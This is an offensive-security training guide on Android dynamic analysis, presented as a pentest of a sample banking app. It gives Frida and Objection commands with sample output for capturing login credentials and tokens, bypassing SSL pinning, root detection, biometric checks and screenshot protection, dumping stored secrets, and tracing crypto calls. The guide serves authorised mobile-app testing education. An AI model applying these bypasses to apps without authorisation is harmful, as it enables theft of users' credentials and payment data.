



◆ OFFENSIVE SECURITY SERIES ◆

ANDROID DYNAMIC ANALYSIS

Frida Hooks, SSL Bypass, Root Bypass & Method Tracing

Frida · Objection · SSL Unpin · Root Bypass · frida-trace · Memory

Login Hook

SSL Unpin

Root Bypass

Memory Dump

frida-trace

Biometric

Screenshot

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

ANDROID DYNAMIC ANALYSIS — Frida Hooks, SSL Bypass, Root Bypass & Method Tracing

01.	FRIDA — LOGIN HOOK & CREDENTIAL CAPTURE
02.	SSL UNPIN + ROOT BYPASS + MEMORY DUMP
03.	FRIDA-TRACE — CRYPTO METHOD TRACING
04.	ANDROID DYNAMIC CHEAT SHEET



01 — LOGIN HOOK

Credential Capture at Runtime

```
Frída - Login Method Hook + Credential Capture

# Hook login method - capture plaintext credentials
(kali)-[~]
kali $ frida -U -f com.target.bankingapp -l hook_login.js --no-pause

/ _ | Frída 16.2.1 - A world-class dynamic instrumentation toolkit
| ( |
> _ | Commands:
/_/ |_ | help -> Displays the help system

[*] Waiting for application to start...
[*] Script loaded, hooks active

[LOGIN] authenticateUser() intercepted!
[LOGIN] username : john.doe@target.com
[LOGIN] password : BankPass2024!
[LOGIN] deviceId : alB2c3d4-e5f6-7890-abcd-ef1234567890
[LOGIN] return : SUCCESS

[TOKEN] Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlc2VyXzEyMzQ1Iiwicm9sZSI6InVzZXIifQ.SIGNATURE
```

Figure: Frida hooks login method — plaintext credentials and JWT token captured at runtime



02 — SSL & ROOT BYPASS

Bypass & Memory Inspection

```

Frida - SSL Unpin + Root Bypass + Memory Dump

# SSL Pinning bypass with universal Frida script
(kali)-[~]
kali $ frida -U -f com.target.bankingapp -l ssl_unpin.js --no-pause
[+] OkHttp3 CertificatePinner.check() hooked
[+] OkHttp3 CertificatePinner.check(String, List) hooked
[+] TrustManagerImpl checkServerTrusted() bypassed
[+] SSLContext init() patched with null TrustManager
[+] X509TrustManager checkServerTrusted() bypassed
[+] SSL Pinning DISABLED - all HTTPS traffic interceptable via Burp

# Root detection bypass
(kali)-[~]
kali $ frida -U com.target.bankingapp -l root_bypass.js
[*] RootBeer.isRooted() -> returning false
[*] File.exists() blocked: /Applications/Cydia.app
[*] File.exists() blocked: /bin/su
[*] Build.TAGS check bypassed
[+] Root detection fully bypassed - app loads on rooted device

# Dump SharedPreferences at runtime
(kali)-[~]
kali $ objection -g com.target.bankingapp explore
(kali)-[~]
kali $ android heap execute com.target.bankingapp.utils.PreferenceHelper dumpAll
[*] Executing dumpAll on com.target.bankingapp.utils.PreferenceHelper...
auth_token    : eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJlc2VvYXZlcyMyJ9.SIGNATURE
user_email    : john.doe@target.com
user_password  : BankPass2024!
device_id     : a1b2c3d4-e5f6-7890
  
```

Figure: SSL pinning bypassed, root detection disabled, SharedPreferences exposes plaintext password



03 — METHOD TRACING

frida-trace Crypto Analysis

```
frida-trace - Crypto Method Tracing

# Method tracing - trace all crypto calls
(kali)-[~]
kali $ frida-trace -U com.target.bankingapp -j "com.target.bankingapp.utils.CryptoUtils!*"
Instrumenting...
CryptoUtils.encrypt: Loaded handler at "__handlers__/CryptoUtils/encrypt.js"
CryptoUtils.decrypt: Loaded handler at "__handlers__/CryptoUtils/decrypt.js"
CryptoUtils.hashPin: Loaded handler at "__handlers__/CryptoUtils/hashPin.js"
Started tracing 3 functions. Press Ctrl+C to stop.

946 ms CryptoUtils.encrypt()
946 ms | arg[0]: "4912 3456 7890 1234" <- credit card number!
946 ms | arg[1]: "hardcodedAESKey12345" <- hardcoded key!
947 ms < retval: "U2FsdGVkX1+abc123xyz456..."

1203 ms CryptoUtils.hashPin()
1203 ms | arg[0]: "1234" <- user PIN
1204 ms < retval: "81dc9bdb52d04dc20036dbd8313ed055" <- MD5!
```

Figure: frida-trace reveals credit card number in plaintext, hardcoded AES key, PIN hashed with MD5



04 — CHEAT SHEET

Quick Reference

Start frida-server	adb shell su -c "/data/local/tmp/frida-server &"
Frida list processes	frida-ps -U
Frida spawn	frida -U -f com.pkg.name --no-pause
Frida run script	frida -U -f com.pkg.name -l script.js --no-pause
SSL unpin (frida)	frida -U -f com.pkg.name -l ssl_unpin.js --no-pause
SSL unpin (objection)	android sslpinning disable (in objection shell)
Root bypass	android root disable (in objection shell)
Watch class	android hooking watch class com.pkg.CryptoUtils (in objection)
Watch method+args	android hooking watch class_method com.pkg.Auth.login --dump-args --dump-return
frida-trace class	frida-trace -U com.pkg.name -j "com.pkg.CryptoUtils!*"
Dump SharedPrefs	android heap execute com.pkg.PrefsHelper dumpAll (objection)
Memory search	memory search --string "Bearer " (objection)
File download	file download /data/data/com.pkg.name/databases/app.db (objection)
Objection env	env (shows all app container paths)
Biometric bypass	Hook BiometricPrompt.authenticate → call onAuthenticationSucceeded
Screenshot bypass	Hook Window.setFlags → remove FLAG_SECURE (0x2000)



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.